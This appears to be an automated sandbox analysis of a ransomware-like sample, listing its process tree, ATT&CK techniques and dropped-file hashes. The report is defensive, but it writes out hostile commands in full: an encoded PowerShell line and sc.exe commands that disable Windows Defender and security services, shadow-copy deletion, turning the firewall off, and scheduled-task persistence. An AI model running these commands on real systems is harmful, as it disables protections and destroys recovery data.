net.exe 166 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\blockchainext.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\blockchainext.io_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4792
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2468
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1580
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:5072
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4020
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:4260
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3336
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:376
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:3524
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Users\Admin\AppData\Local\Temp\blockchainext.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\blockchainext.io_chrome.exe"3⤵PID:4568
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1260
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:1940
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3756
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:2380
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4796
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\blockchainext.io_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1992 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1580
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\blockchainext.io_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1664
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:4212
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1260 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:3268
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:1912
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1572 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4720
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:4112 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:460
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:400
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4596 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:644
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\blockchainext.io_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:992
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:1192
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1896
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:824
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
PID:2764
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:1832
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4812
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:1916
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:292
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3320
-
C:\Users\Admin\AppData\Local\Temp\blockchainext.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\blockchainext.io_chrome.exe1⤵PID:3336
-
C:\Users\Admin\AppData\Local\Temp\blockchainext.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\blockchainext.io_chrome.exe1⤵PID:2712
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20261030_160910.jpg
- Size 75KB
- SHA256 56fee9c571bbb8960dd54038b0e179e1e93228eda5f5c7a9c196ec21c7997c80
- MD5 4de8dd6b34630cee9e8fb94767f29a2b
- SHA1 09bce1554b9a6e38ad747edbc0cbf1284ed8940b
- SHA512 7f13000302c72c25cb2b3cfb4f7620533091102d24f2d0a29eaa6762aeb12fa918f6bb4bd52397aeb6ad630105c932c48931bbff12f643c576e2bbb2d58599e7
- SSDEEP 1536:Iw+aRTTgXzSYfq7sml7+TFcyL/5Ox0SRmkXeOb:IaR3gDSYAsmlaZPD5O2qZ
- TLSH T1047315038D188786F12946E8FD130EAD2E1B6B1CE8873EFF14225ECB7D645561C9E46E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_2.pdf
- Size 76KB
- SHA256 c73db54bd4fdf942fd06646da61c9e1fb3cff2ff0ccaeebddfe6bbce5c04e0c5
- MD5 4fe357a0a124fcbdd3832cc80780532d
- SHA1 debe69a526c4cf1ccf31a45c1d111f33939f647b
- SHA512 b5c8a7faadc68434917aee11668fff17728eb5bd6e92101790a2bbef6d860ff7d37263f4af993dace3555a02da4afaedadf9a4a24384e78eda4740e4f73bfa0a
- SSDEEP 1536:KOjZTpQmdLBVLCU4W7ggE4zq9fwT8XW1oJiKHB+DjXQQdLkeSYG+VfpcKP4rees:KOjZ+oBVeUdgHN68XW1oJiKOXQQGXYGe
- TLSH T1CA7319368F22FCD4277E3D90E0502A461C883E678B75677CFA850DAA2DA5244DF3D5AC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\blockchainext.io_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eperql0x.gc4.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 248B
- SHA256 d6aaea63f3e19cd222398c01837d603089e6ab62c2c7633c6a90e5114472c83e
- MD5 117d5af39a6788bf6b88cf8750739913
- SHA1 65b625fcaf747a7df578f4cde63aef59da58cf47
- SHA512 9b387370e11d5dba1fbead42adc491d0ee31bf9f015e4eb197a8ccc68904eb8aab352a62a5e14303fbaae83ce91eb6a5cc2be179396f7406471db86dde85cb45
- TLSH T1BAD0A5DB7348C5A90001153F45F3CD4CFDF548293B177D705555DD4D355148585F5553
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 249B
- SHA256 89d07ec69cef1534b3f17455cfbb5962c0d76f0f72f4b10b42db01dd6ec70652
- MD5 9da6d2317e2ac69d7236ff79f0c96288
- SHA1 1b455ae645d822d0b1887de26bc46d8415cc6ad6
- SHA512 160c6da3b00f160c4629875eef79e66ffbfc4f91794f306519020e0124f4ce023a225404ff97247b98e01654866887f521937e2c42215dddba61de2a43b93588
- TLSH T1F5D0A5DB7348C5A90001153F44F3CD4CFDE148293F177D709555DD0D364144585F5553
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 101KB
- SHA256 b2ebc3a362db4f7a1366fcfbcdb91a4fcf12f21df41483f7264dcbae6e8aec1e
- MD5 cc582fce3b8b7d7da502c57048adaafe
- SHA1 e07725d0e41e4a066a45cb8ac52db06fd93e6a43
- SHA512 3721adb9c1e2117d6dd0a32d092c5c4b23e8184ea9275e06ccf685018d3be45d86aa616882b3a48acbbd4f0607c45dd8005da6c882912f332569f85f40014d95
- SSDEEP 1536:OTN3rHBvUnfpBKx3XE/AuJnAx/TvfyuxbOI8x2Q1:23jBFxnSMT6Uyd1
- TLSH T1FAA33010D2B28E2B05D65BAB185233D0B578B3B5D6EC84FF24F57A67F4638A6C61D301
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 101KB
- SHA256 99c423212f49772d7345c0d62ddf6ff4d14b06ceeb32b32f2a50269200970c06
- MD5 8b729fe2933ba6cf2f6a61163e17f358
- SHA1 3e4adb624a95a130e144be1a6aaed730c848fe41
- SHA512 b8e8f6486e3044f277e6fee96a16363db39d0dbdb99e379788d5d15054981186386edb6b2fb7c080f8765e05ff19d2a414188e8bf535501b46fd740f23b93772
- SSDEEP 1536:3TN3rHBvUnfpBKx3XE/AuJnAx/TvfyuxbOI8x2QK:B3jBFxnSMT6UydK
- TLSH T13EA33010D2B28E2B05D65BAB185233D0B578B3B5D6EC84FF24F67A67F4638A6C61D301
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 76KB
- SHA256 52314b33aafe877e9b8e41017c36bbc8c682bcdb251d9c92e9a32303731d7893
- MD5 780b1dcffc0d832f6f981ad094206d4c
- SHA1 66b9c4697a78f35117f59346668ea0f87c1790c2
- SHA512 82ee594f232e21bf1db4df7bb8acb099a7f37ee709243fbd04f45efad08b205eb614f7296f61557c5c47ca5df3d114fdc936dd3da9dd24af79777855cdd3941d
- SSDEEP 1536:qOjZTpQmdLBVLCU4W7ggE4zq9fwT8XW1oJiKHB+DjXQQdLkeSYG+VfpcKP4reeN:qOjZ+oBVeUdgHN68XW1oJiKOXQQGXYGf
- TLSH T1A8732A368F22FCD4677E3D80E0503A461C883E678B75677CFA840DAA29A5644DF3D5AC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\READ_ME_NANOCORE.txt
- Size 145B
- SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
- MD5 d7ea02f4c4953d6a3f52b5d0ecbeb047
- SHA1 ce3a66707cabbbeaa0980b91d3b6271fc84145cb
- SHA512 441ac2261f8c29eed640bdddfd5195f9fe5fe5fb0f08a77bbebdb4507819e8717855e5485f554986eb0f69ee55d1fa5939c3f7dc84a333f9d78a15973df56f70
- TLSH T156C02B572EE03298B1C036C20A0A4CA2A76D470CD605C6582A2FC42033001EE2E41130
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 57KB
- SHA256 d584450a6b1b16a8d179c0e5007d8a161f4bdfddc273c331ee28ad85a87c22c4
- MD5 3970db7c3260e6e97573c5ffbe9dc0bf
- SHA1 a40b8518212dbcbc2dcc026e17ade9c890b9ebd7
- SHA512 a5ad8b8caa568a2f175a7c9911fe6f74f88ce813cbf1d9364eeb2cd93800b78464b9545d496c6f1153af120e86cec4e30e26517215c33bd9f5a047c3166ad73e
- SSDEEP 768:uZBuYk8jca8GwpiM72xD6PveLrKsdLYMJ4DN1XXGb5fAdOTvFKFum1U:u/z83b2xD6P2dcG4DLXGb5feOTvFuuX
- TLSH T1AF43E84477FD4251E1BF8EBA8DB151418772B4679D32D38D06D4068E09B2B40CEA8F7B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path F:\RANSOM_NOTE.txt
- Size 177B
- SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
- MD5 c381da16f24527b361930429b75608ad
- SHA1 cc68fc2b7246e2b7611b3a1798a7dd3ad5b1c912
- SHA512 e79ae7b36ed481285d8fd080a69e080b637b0eaff67bcb53d0f27c89a984dd70f913d1f69cb306e0b96116b898227814eea36e8e3cfd03302c4455b28da89545
- TLSH T121C0C00B3EC4377822CC21E209018C12914EEA0CAA044254022BC9109EA496D30D44B3
- MD5 SHA1 SHA512 TLSH